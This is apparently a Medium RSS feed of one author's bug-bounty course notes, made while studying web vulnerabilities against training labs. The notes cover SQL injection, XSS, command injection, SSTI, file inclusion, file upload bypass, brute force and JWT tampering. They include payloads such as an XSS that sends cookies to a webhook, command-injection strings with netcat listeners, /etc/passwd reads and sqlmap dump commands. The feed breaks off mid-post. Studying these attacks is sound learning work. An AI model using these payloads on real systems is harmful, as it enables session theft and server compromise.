<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohammad Awab Hassan Nizami on Medium]]></title>
        <description><![CDATA[Stories by Mohammad Awab Hassan Nizami on Medium]]></description>
        <link>https://medium.com/@awabhassan?source=rss-fdf3acb9c857------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*vfP9T_EegQVM_1xj</url>
            <title>Stories by Mohammad Awab Hassan Nizami on Medium</title>
            <link>https://medium.com/@awabhassan?source=rss-fdf3acb9c857------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 01:29:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@awabhassan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Practical Bug Bounty — TCM Academy | Report writing, Bypass, Best Programs.]]></title>
            <link>https://medium.com/@awabhassan/practical-bug-bounty-tcm-academy-report-writing-bypass-best-programs-710516804f53?source=rss-fdf3acb9c857------2</link>
            <guid isPermaLink="false">https://medium.com/p/710516804f53</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mohammad Awab Hassan Nizami]]></dc:creator>
            <pubDate>Thu, 05 Dec 2024 14:22:03 GMT</pubDate>
            <atom:updated>2024-12-05T14:22:03.891Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Bug Bounty — TCM Academy | Report writing, Bypass, Best Programs.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*pDI1Cp7d3lEjxMKwd5vRzg.png" /></figure><h3>Module 10 — Reporting</h3><p>1- VDP</p><p>VDPS ususally dont pay, but they giveaway swags, they have a wider scope. You can practice on these VDP’s. Inlude this in report:</p><p>Identified XSS in your web-app</p><p>Steps to re-produce:</p><ul><li>Do this</li><li>Do this</li><li>Do this</li><li>Do this</li><li>Screenshots etc</li></ul><p>2- Write a Bug bounty report</p><p>Be clear and concise, provide all the details, all the steps to reproduce etc.</p><p>Steps to re-produce:</p><ul><li>Do this</li><li>Do this</li><li>Do this</li><li>Do this</li><li>Screenshots etc</li></ul><h3>Module 11 — Bypass techniques</h3><p>1- <strong>WAF Identification and Fingerprinting</strong></p><p>WAF prevents us from performing SQLI, XSS and different vulnerbailites, usually there are some pre-defined rules.</p><p>Cmds:</p><ul><li>waafw00f url</li></ul><p>2- <strong>Bypassing Input Validation and Encoding Techniques</strong></p><p>Practice with different techniques, practice and learn.</p><h3>Module 12 — Wrapping up!</h3><p>1- Pick Bug Bounty Programs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*yE-rpEbXT7eh1beiEMDHNQ.png" /></figure><p>2- <strong>Course Conclusion</strong></p><ul><li>Learn and read write-ups.</li><li>Practice on portswigger.</li><li>Intigri and upload your course certificate.</li><li>DONE!</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=710516804f53" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Bug Bounty — TCM Academy | Other Common Vulnerabilities]]></title>
            <link>https://medium.com/@awabhassan/practical-bug-bounty-tcm-academy-other-common-vulnerabilities-433dc6b1b3bc?source=rss-fdf3acb9c857------2</link>
            <guid isPermaLink="false">https://medium.com/p/433dc6b1b3bc</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tcm-academy]]></category>
            <dc:creator><![CDATA[Mohammad Awab Hassan Nizami]]></dc:creator>
            <pubDate>Tue, 03 Dec 2024 10:06:51 GMT</pubDate>
            <atom:updated>2024-12-03T10:06:51.885Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Bug Bounty — TCM Academy | Other Common Vulnerabilities</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*6cCLtQPYetoKPlm3KJBWCQ.png" /></figure><p>1- <strong>Introduction to Cross-Site Request Forgery (CSRF)</strong></p><p>CSRF is an attack where we can trick un-suspecting users to perform an action on a web application which he is authenticated too. Transfering funds to another bank account.</p><p>2- <strong>Cross-Site Request Forgery (CSRF) Attacks</strong></p><p>Attacks:</p><ul><li>make a form index.html file.</li><li>Once you access the web page, email will be modified automatically.</li></ul><p>3- <strong>Cross-Site Request Forgery (CSRF) Token Bypass</strong></p><p>Attacks:</p><ul><li>Check if CSRF is actually being checked.</li><li>Try changing the token.</li><li>Try chaining vulnerabilities.</li></ul><p>4- <strong>Introduction to Server-Side Request Forgery (SSRF)</strong></p><p>SSRF is a type of vulnerability allows us to induce the server to make requests on our behalf. This can be used to target system which are maybe un-accessible to us. SSRF is getting pretty common so look out for it.</p><p>5- <strong>Exploiting Server-Side Request Forgery (SSRF)</strong></p><p>When we request for some data, application will request that data from some other server. We can fuzz that endpoint look out for sensitive endpoints, directories etc.</p><p>6- <strong>Blind Server-Side Request Forgery (SSRF)</strong></p><p>You can use EC2 or some other service to get back requests however blind SSRF is tricky, try it and test it.</p><p>7- <strong>Introduction to Subdomain Takeovers</strong></p><p>A subdomain takeover happens when we get control over target’s subdomain, due to a misconfiguration or oversight. This happens when subdomain is pointing to a service that is not under the control of organizations.</p><p><strong>8- Open Redirects</strong></p><p>By tricking user to click on a link which will redirect them to some malicious site or site which they are not supposed to acccess.</p><p>9- <strong>Introduction to Vulnerable Components</strong></p><p>Web apps using third party or components that are vulnerable, we can detect them from README, wapplalyzer etc.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=433dc6b1b3bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Bug Bounty — TCM Academy | Automated Tools]]></title>
            <link>https://medium.com/@awabhassan/practical-bug-bounty-tcm-academy-automated-tools-ed177aab16f6?source=rss-fdf3acb9c857------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed177aab16f6</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mohammad Awab Hassan Nizami]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 11:38:01 GMT</pubDate>
            <atom:updated>2024-09-05T11:38:01.295Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Bug Bounty — TCM Academy | Automated Tools</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*4NZWYmroPeyrbBCrPaIfoA.png" /></figure><h3>Module 8 — Automated Tools</h3><blockquote>1- Automated Scanners</blockquote><p>Important Pre-cautions:</p><ul><li>Be careful while running automated tools, because they might do some issue.</li><li>Make sure the site you’re testing is in development side.</li><li>Alot of bug bounty programs doesnt allow the usage of automated scanners. Read rules first.</li><li>Be carefull while running scanners, focus more on manual scanners.</li><li>Understand Rules Of Engagements carefully.</li></ul><blockquote>Some Free and Commercial Tools:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JU-xi-dFHip_t8bqFq8I4Q.png" /></figure><blockquote>2- <strong>Scripting and Automation</strong></blockquote><p><a href="http://tcm-sec.com/">tcm-sec.com</a>:</p><ul><li>Do we have any subdomains? subfinder, assetfinder, amass</li><li>are those subdomains alive? httprobe</li><li>take screenshots of alive subdomains… gowitness</li><li>nmap alive subdomains? open ports</li></ul><p>Script:</p><ul><li>GITHUB | I will add my bugbounty script here soon! In’Sha’ALLAH</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed177aab16f6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Bug Bounty — TCM Academy | Module 8 pt.3 (SSTI, XXE, Insecure File Uploads)]]></title>
            <link>https://medium.com/@awabhassan/practical-bug-bounty-tcm-academy-module-8-pt-3-ssti-xxe-insecure-file-uploads-1ed7056ea0c7?source=rss-fdf3acb9c857------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ed7056ea0c7</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tcm-academy]]></category>
            <dc:creator><![CDATA[Mohammad Awab Hassan Nizami]]></dc:creator>
            <pubDate>Thu, 29 Aug 2024 09:42:38 GMT</pubDate>
            <atom:updated>2024-08-29T09:42:38.353Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Bug Bounty — TCM Academy | Module 8 pt.3 (SSTI, XXE, Insecure File Uploads)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*TnqELEiLe8o1WGiYkA6ADQ.png" /></figure><h3>بِسْمِ ٱللَّٰهِ ٱلرَّحْمَٰنِ ٱلرَّحِيمِ</h3><h3><strong>Introduction to Server-Side Template Injection (SSTI)</strong></h3><p>Template injection is used to separate presentation layer from logic layer.</p><blockquote><strong>Exploiting Server-Side Template Injection (SSTI)</strong></blockquote><p>As we know that the template application using is TWIG php, lets go and check for payloads on hacktricks.</p><p>Attacks:</p><ul><li>{{7*7}}</li><li>{{[‘id’]|filter(‘system’)}}</li><li>{{[‘cat\x20/etc/passwd’]|filter(‘system’)}}</li></ul><blockquote><strong>Server-Side Template Injection (SSTI) Challenge Walkthrough</strong></blockquote><p>Start with testing preivous payloads.</p><p>Attacks:</p><ul><li>{{7*7}}</li><li>{{[‘id’]|filter(‘system’)}}</li></ul><blockquote><strong>XML External Entity (XXE) Injection</strong></blockquote><p>Some application uses XML to transfer data.</p><p>Attacks:</p><ul><li>edit the &lt;creds&gt;&lt;/creds&gt; tags.</li><li>get the exploit from payloadallthethings.</li></ul><h3><strong>Introduction to Insecure File Uploads</strong></h3><p>You can test many things with file uploads. In some cases we can overwrite files or might DDOS the system.</p><blockquote><strong>Insecure File Upload Client-Side Controls Bypass</strong></blockquote><p>First analyze the web application.</p><p>Attacks:</p><ul><li>Change the extension in request and bypass.</li><li>Remove bytes and add php shell.</li><li>ffuf -u URL/FUZZ -w /usr/share/wordlists/common</li><li>ffuf -u URL/labs/FUZZ -w /usr/share/wordlists/common</li><li>URL/labs/uploads/cmd.php?cmd=whoami</li></ul><blockquote><strong>Insecure File Upload Bypasses</strong></blockquote><p>Attacks:</p><ul><li>try logo.php%0.png</li><li>try logo.php.png</li><li>add the payload after magic bytes</li><li>If application is blocking .php you can use other php extensions.</li></ul><blockquote>I<strong>nsecure File Uploads Challenge Walkthrough</strong></blockquote><p>Attacks:</p><ul><li>Try different extensions.</li><li>localhost/labs/uploads/fi;e.phtml?cmd=whoami</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ed7056ea0c7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Bug Bounty — TCM Academy | Module 8 pt. 2 (XSS, CMDI)]]></title>
            <link>https://medium.com/@awabhassan/practical-bug-bounty-tcm-academy-module-8-pt-2-xss-cmdi-b8728aa5261d?source=rss-fdf3acb9c857------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8728aa5261d</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecutiy]]></category>
            <dc:creator><![CDATA[Mohammad Awab Hassan Nizami]]></dc:creator>
            <pubDate>Tue, 27 Aug 2024 07:21:56 GMT</pubDate>
            <atom:updated>2024-08-27T07:21:56.363Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Bug Bounty — TCM Academy | Module 8 pt. 2 (XSS, CMDI)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*fCV1Qd-VdXiltocSg_2Q4g.png" /></figure><h3>بِسْمِ ٱللَّٰهِ ٱلرَّحْمَٰنِ ٱلرَّحِيمِ</h3><h3>Introduction to Cross-Site Scripting (XSS)</h3><p>Its a very flexible vulnerability, often found in modern web applications. Basically we are attacking user’s browser. Reflected, Dom and Stored XSS. In Reflected you send a request and inject the payload and get back response. Stored XSS is more dangerous as payload is stored in the database and the users are affected from it. Avoid using alert(1) rather use print() or prompt(”hello”). Anything that we can do in javascript, we can essentialy do it in XSS. Cross Site Scripting.</p><blockquote><strong>Starting with XSS</strong></blockquote><ul><li>First anaylse where our payload is ending up, is it in HTML tags? What validation happens ?</li><li>First we bypass tags using FUZZING.</li><li>Then we bypass attributes.</li><li>Make sure to manipulate tags.</li><li>Close tags , add tags, remove tags</li></ul><p>Payloads:</p><ul><li>&lt;iframe src=”URL/?search=PAYLOAD” onload=this.style.width=’1em’</li><li>“&gt;&lt;script&gt;prompt()&lt;/script&gt;</li><li>“&gt;&lt;img src=x onerror=prompt()&gt;</li><li>javascript:prompt()</li><li>var condition → qwerty’;prompt()//’;</li></ul><p>Guided Labs:</p><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked">https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-href-attribute-double-quotes-html-encoded">https://portswigger.net/web-security/cross-site-scripting/contexts/lab-href-attribute-double-quotes-html-encoded</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded">https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded</a></li></ul><blockquote><strong>Basic DOM Based Cross-Site Scripting (XSS) Attacks</strong></blockquote><p>As you can see no request is going and no request is in-coming, its an indication that this is DOM based XSS.</p><p>Attacks:</p><ul><li>&lt;img src=x onerror”prompt(1)”&gt;</li><li>&lt;img src=x onerror”window.location.href=’<a href="https://web.com/">https://web.com</a>’”&gt;</li></ul><blockquote><strong>Stored Cross-Site Scripting (XSS) Attacks</strong></blockquote><p>Before testing setup 2 browsers with 2 different accounts to see if stored XSS is working, use multi account containers for that and for starting with testing; start with Html injections. Try getting other users cookie. We will get the cookie entered by previous user. Use HTTP to prevent Javascript to use your cookie. Once we have injected the payload, as soon as the user or client access web app, we will get back cookie on the location we specified like webhook, EC2 or some other server.</p><p>Attacks:</p><ul><li>&lt;h1&gt;Hello!&lt;/h1&gt;</li><li>&lt;script&gt;prompt(1)&lt;/script&gt;</li><li>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</li></ul><blockquote><strong>Cross-Site Scripting (XSS) Challenge Walkthrough</strong></blockquote><p>The goal is to get the cookie of admin. As soon as the admin access the web page where code is injected, we will get back the cookie.</p><p>Attacks:</p><ul><li>&lt;script&gt;var i = new Image;i.src=”WEBHOOK_URL”+document.cookie;&lt;/script&gt;</li></ul><blockquote><strong>Introduction to Command Injection</strong></blockquote><p>Its a very serious vulnerability, If we find it we can basically get the full access of the target. It basically takes input and execute it in code. Its better to avoid functions like EVAL and system</p><blockquote><strong>Command Injection Attacks</strong></blockquote><p>Attacks:</p><ul><li><a href="http://localhost/">http://localhost</a> &amp;&amp; whoami &amp;&amp; #</li><li>‘ &amp;&amp; whoami &amp;&amp; #</li><li>‘ ; whoami ; #</li><li>nc -lvnp 4444</li><li>php shell with your IP configured</li></ul><blockquote><strong>Blind Command Injection</strong></blockquote><p>Attacks:</p><ul><li><a href="http://localhost/?q=%60sleep">http://localhost?q=`sleep</a> 10`</li><li>Setup webhook listener</li><li>webhook_url/?q=whoami</li></ul><blockquote><strong>Command Injection Challenge Walkthrough</strong></blockquote><p>Attacks:</p><ul><li>{(-789)²))}’;whoami;)²))}’</li><li>nc -nvlp 4444</li><li>{(-789)²))}’;YOUR_PHP_PAYLOAD;)²))}’</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8728aa5261d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Bug Bounty — TCM Academy | Module 8]]></title>
            <link>https://medium.com/@awabhassan/practical-bug-bounty-tcm-academy-module-8-44663b4f87e3?source=rss-fdf3acb9c857------2</link>
            <guid isPermaLink="false">https://medium.com/p/44663b4f87e3</guid>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[tcm-academy]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <dc:creator><![CDATA[Mohammad Awab Hassan Nizami]]></dc:creator>
            <pubDate>Sat, 24 Aug 2024 06:55:13 GMT</pubDate>
            <atom:updated>2024-08-24T06:55:13.822Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Bug Bounty — TCM Academy | Module 8</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*yiRgKscxVtxZuptKC9rg_Q.png" /></figure><p>LFI (Local File Inclusion) where an attacker can see local files present in web application server. RFI (Remote File Inclusion) where an attacker can upload file in web application. Both of these happens when there is not proper input validation.</p><h3><em>1- Local File Inclusion Attacks</em></h3><blockquote>Methodology:</blockquote><ul><li>analyse the request</li><li>try different payloads.</li><li>Encode payloads.</li><li>add multiple blackslashse and dots.</li><li>Fuzz wiht burpsuite intruder or ffuf</li></ul><blockquote>Solved with this:</blockquote><ul><li>GET /labs/fi0x01.php?filename=../../../../../../etc/passwd</li></ul><h3><em>2- Remote File Inclusion Attacks</em></h3><blockquote>Methodology:</blockquote><ul><li>Try LFI</li><li>Bypass filters like, encoded, removing http, removing / , removing ..</li><li>Try RFI</li><li>Try getting credentials.</li></ul><blockquote>Solved with this:</blockquote><ul><li>LFI: GET /labs/fi0x02.php?filename=%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd</li><li>RFI: GET /labs/fi0x02.php?filename=php://filter/convert.base64-encode/resource=…/./db.php</li></ul><h3><em>3- LFI Challenge walkthrough</em></h3><blockquote>Methodology:</blockquote><ul><li>Used FFUF</li><li>Save request to a file and FUZZ on the LFI path</li></ul><blockquote>Cmd:</blockquote><ul><li>ffuf -request req.txt -request-proto http -w /usr/share/wordlsits/seclists/FUZZING/LFI/LFI-jhaddix.txt -fw 19</li></ul><blockquote>Solved with this:</blockquote><ul><li>GET /labs/api/fetchRecipe.php?filename=….//….//….//….//….//….//….//….//….//….//….//….//….//etc/passwd</li></ul><blockquote><em>4- Introduction to SQL injection</em></blockquote><p>SQL injection is arguably the most famous or in-famous vulnerability, the more complex applicaiton it might get tricky to perform SQLI. It’s a critical finding.</p><blockquote>5- Basic SQL Injection Attacks</blockquote><p>When you first start testing applicaiton, spend a little time analyzing applications behaviour. Analyze the goal of funcitionality.</p><p>Attacks:</p><ul><li>jeremy’</li><li>jeremy”</li><li>jeremy’ or 1=1#</li><li>jeremy’ or 1=1 — -</li><li>jeremy’ union select null,null,version#</li><li>jeremy’ union select null,null,table_name from information_schema.tables#</li><li>jeremy’ union select null,null,column_name from information_schema.comlumns#</li><li>jeremy’ union select null,null,password from injection0x01#</li></ul><blockquote>6- Basic SQL Injection Attacks Part 1</blockquote><p>Add your web target to improve HTTP History, Look out for set-cookie: session= and Content-length. You have to decrease the number of requests while using sqlmap on real world targets. When you think about perfroming sql injection check for everything you’re providing or sending to application in requests.</p><p>Attacks:</p><ul><li>username=jeremy’ or 1=1#</li><li>username=jeremy” or 1=1#</li><li>sqlmap -r req.txt</li><li>session=4872874280748278472804782db’ or 1=1#</li><li>session=4872874280748278472804782db’ or 1=2#</li></ul><blockquote>7- Basic SQL Injection Part 2</blockquote><p>So this was basically blind sql, we have to create payloads that with true/false can extract data. For example you’re gonna play true/false. After detecting blind sql you can use intruder and SQLMAP.</p><p>Attacks:</p><ul><li>session=4872874280748278472804782db’ and substring(’alex’,1,1) = ‘a’#</li><li>session=4872874280748278472804782db’ and substring(’alex’,2,1) = ‘l’#</li><li>session=4872874280748278472804782db’ and substring(’alex’,1,3) = ‘ale’#</li><li>session=4872874280748278472804782db’ and substring((select version()),1,1) = ‘7’#</li><li>session=4872874280748278472804782db’ and substring((select version()),1,2) = ‘8.’#</li><li>session=4872874280748278472804782db’ and substring((select version()),1,3) = ‘8.0’#</li><li>session=4872874280748278472804782db’ and substring((select version()),1,4) = ‘8.0.’#</li><li>session=4872874280748278472804782db’ and substring((select version()),1,5) = ‘8.0.1’#</li><li>session=4872874280748278472804782db’ and substring((select version()),1,5) = ‘8.0.3’#</li><li>session=4872874280748278472804782db’ and substring((select password from injection0x02 where username = ‘jessamy’) ,1,1) = ‘Z’#</li><li>sqlmap -r req.txt — level=2</li><li>sqlmap -r req.txt — level=2 — dump</li><li>sqlmap -r req.txt — level=2 — dump -T injection0x02</li></ul><blockquote>8- SQL Injection walkthrough</blockquote><p>Test and check how many columns using union select.</p><p>Attack:</p><ul><li>Sushi’ union select null,null,null,null#</li><li>Sushi’ union select null,null,null,table_name from information_schemas.tables#</li><li>Sushi’ union select null,null,null,column_name from information_schemas.columns#</li><li>Sushi’ union select null,null,null,select password from injection0x03_users where username = ‘admin’#</li><li>Sushi’ union select null,null,null,select password from injection0x03_users where username = ‘admin’#</li></ul><p>Cmd:</p><ul><li>sqlmap -r req.txt -T injection0x03_users — dump</li></ul><blockquote>9- <strong>Second Order SQL Injection</strong></blockquote><p>Attack:</p><ul><li>x’ or 1=1# and password while sign-up.</li><li>x’ or 1=1# and password while sign-in.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44663b4f87e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Bug Bounty — TCM Academy | Module 6]]></title>
            <link>https://medium.com/@awabhassan/practical-bug-bounty-tcm-academy-module-6-9cab8d004034?source=rss-fdf3acb9c857------2</link>
            <guid isPermaLink="false">https://medium.com/p/9cab8d004034</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[fuzzing]]></category>
            <dc:creator><![CDATA[Mohammad Awab Hassan Nizami]]></dc:creator>
            <pubDate>Wed, 17 Jul 2024 12:21:56 GMT</pubDate>
            <atom:updated>2024-07-17T12:21:56.818Z</atom:updated>
            <content:encoded><![CDATA[<h3>Practical Bug Bounty — TCM Academy | Module 6</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*DVWwz4aV_P9dKowrN2mRlA.png" /></figure><h3>Module 6 — Authorization Attacks</h3><blockquote><strong>1- Introduction to Authentication</strong></blockquote><p>Authentication is a critical asset in applications. They’re interesting as well to hunt/research for. Authenticaion means your identity, you go to airport show your passport and then they allow you to go; this is authentication. Authorization means what you’re allowed to do. We will start to attack with bruteforce and login issues.</p><blockquote><strong>2- Brute-force Attacks</strong></blockquote><p>We start by brute-forcing attacks.</p><p>Steps:</p><ul><li>Instead of manually trying different passwords automate the process with burpsuite.</li><li>Intercept the login request and send it to intruder.</li><li>Highlight the password and click a button ADD on your right side.</li><li>Add a password list in payload options. (use seclists: passwors | path /usr/share/wordlists/seclists/password/xato-net-10-million-passwords-10000.txt)</li><li>Use an open-source tool for btrute forcing but first copy the intercepted login request to a file.</li><li>Replace password in file with the word FUZZ and run the command below</li><li>ffuf -request FILE_NAME.txt -request-proto http -w /usr/share/wordlists/seclists/password/xato-net-10-million-passwords-10000.txt</li><li>ffuf -request FILE_NAME.txt -request-proto http -w /usr/share/wordlists/seclists/password/xato-net-10-million-passwords-10000.txt -fs 1814</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*BtIS6vvBunL2hm1TTzhR7g.png" /></figure><blockquote><strong>3- Attacking MFA</strong></blockquote><p>In MFA, keep an eye on the code; lets say the code seems weak or even if not weak, think like is this code re-usable? does it expire?</p><p>Steps:</p><ul><li>Intercept the request.</li><li>While sending the request simply remove previous user with another user and you might get logged-in.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*ABwaqA5z8JKmA4n7Qfqxyg.png" /></figure><blockquote><strong>4- Authentication Challenge Walkthrough</strong></blockquote><p>In this challenge, we have to brute-force and get logged-in. The interesting thing here is after 5 wrong login attempts, our account will be locked.</p><p>Steps:</p><ul><li>Intercept request and send it to intruder.</li><li>Highlight what is after username like username=HIGHLIGHT and password=HIGHLIGHT</li><li>Add both and choose cluster bomb attack.</li><li>You will get logged in.</li><li>Copy intercepted request to a file to use with ffuf.</li><li>ffuf -request file.txt -request-proto http -mode clusterbomb -w /WORDLIST:FUZZUSER -w /WORDLIST:FUZZPASS</li><li>ffuf -request req.txt -request-proto http -mode clusterbomb -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZUSER -w passwords.txt:FUZZPASS -mr “Successfully”</li></ul><blockquote><strong>5- Introduction to Authorization</strong></blockquote><p>A vertical access control will prevent a customer from accessing administrative controlls on an ecommerce websites to edit a product. A horizontal access control will prevent users from modiying other user’s detailals and data. A context dependent access allows access based on the application current state.</p><blockquote><strong>6- IDOR</strong></blockquote><p>Whenever we see something like /labs/e0x02.php?account=1000 in a url, the first thing we should try is to manipulate the url manually and using automated tools like burp or ffuf.</p><p>Steps (burp):</p><ul><li>Highlight the ID’s → send to intruder → add a list of password → start attack and analyse requests.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*kDvQHcJVbdVWYhdHQ-HitA.png" /></figure><p>Steps (ffuf):</p><ul><li>ffuf -u ‘<a href="http://localhost/labs/e0x02.php?account=FUZZ">http://localhost/labs/e0x02.php?account=FUZZ</a>&#39; -w list.txt -mr ‘admin’</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/1*2wdSVwO2R9pqBIVQZ1NFmQ.png" /></figure><ul><li>As you can see we got three accounts starting from 1008 to 1014, verify these and in our case we got admin details.</li></ul><blockquote><strong>7- API</strong></blockquote><p>Typically we send a request to API and we get data back in-return. So basically instead of the website returning HTML page etc. it just sends-back requested data. Applications will be communicating with API’s in background, so make sure it analyze your burpsuite history.</p><p>Steps:</p><ul><li>curl <a href="https://catfact.ninja/breed">https://catfact.ninja/breed</a></li><li>curl — proxy <a href="http://localhost:8080/">http://localhost:8080</a> <a href="https://catfact.ninja/breeds">https://catfact.ninja/breeds</a> -k</li><li>curl -X PUT — proxy <a href="http://localhost:8080/">http://localhost:8080</a> <a href="https://catfact.ninja/breeds">https://catfact.ninja/breeds</a> -k -d ‘{name:”cheese cat”}’</li><li>curl -X POST -H “Content-Type: application/json” -d ‘{”username”: “jeremy”, “password”: “cheesecake”}’ <a href="http://localhost/labs/api/login.php">http://localhost/labs/api/login.php</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*uL6IqmX1h6LZNxn2f7blBA.png" /></figure><ul><li>Decode the JWT token (First part is header, 2nd is content, third is signature)</li><li>echo ‘eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=’ | base64 -d</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*eJl9eMYIZv3Sx7PGrKHooA.png" /></figure><ul><li>Getting details by sending GET request.</li><li>curl -X GET “<a href="http://localhost/labs/api/account.php?token=JWT_TOKEN%E2%80%9D">http://localhost/labs/api/account.php?token=JWT_TOKEN”</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*WdZ2HP3p2Dk2CE_aRhvtpg.png" /></figure><ul><li>Posting and trying to modify data.</li><li>curl -X PUT -H “Content-Type: application/json” -d ‘{“token”:”eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=”,”username”: “jeremy”, “role”: “admin”,”bio”:”Was a Java dev, Now admin”}’ <a href="http://localhost/labs/api/account.php">http://localhost/labs/api/account.php</a></li><li>Verifying the modified change</li><li>curl -X GET “<a href="http://localhost/labs/api/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=">http://localhost/labs/api/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=</a>&quot;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*eUIVAU4posPn4E8Wo2Dv6Q.png" /></figure><p>Cmd:</p><ul><li>Account 1: curl -X GET “<a href="http://localhost/labs/api/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=">http://localhost/labs/api/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=</a>&quot;{“username”:”jeremy”,”role”:”staff”,”bio”:”Was a Java dev, Now 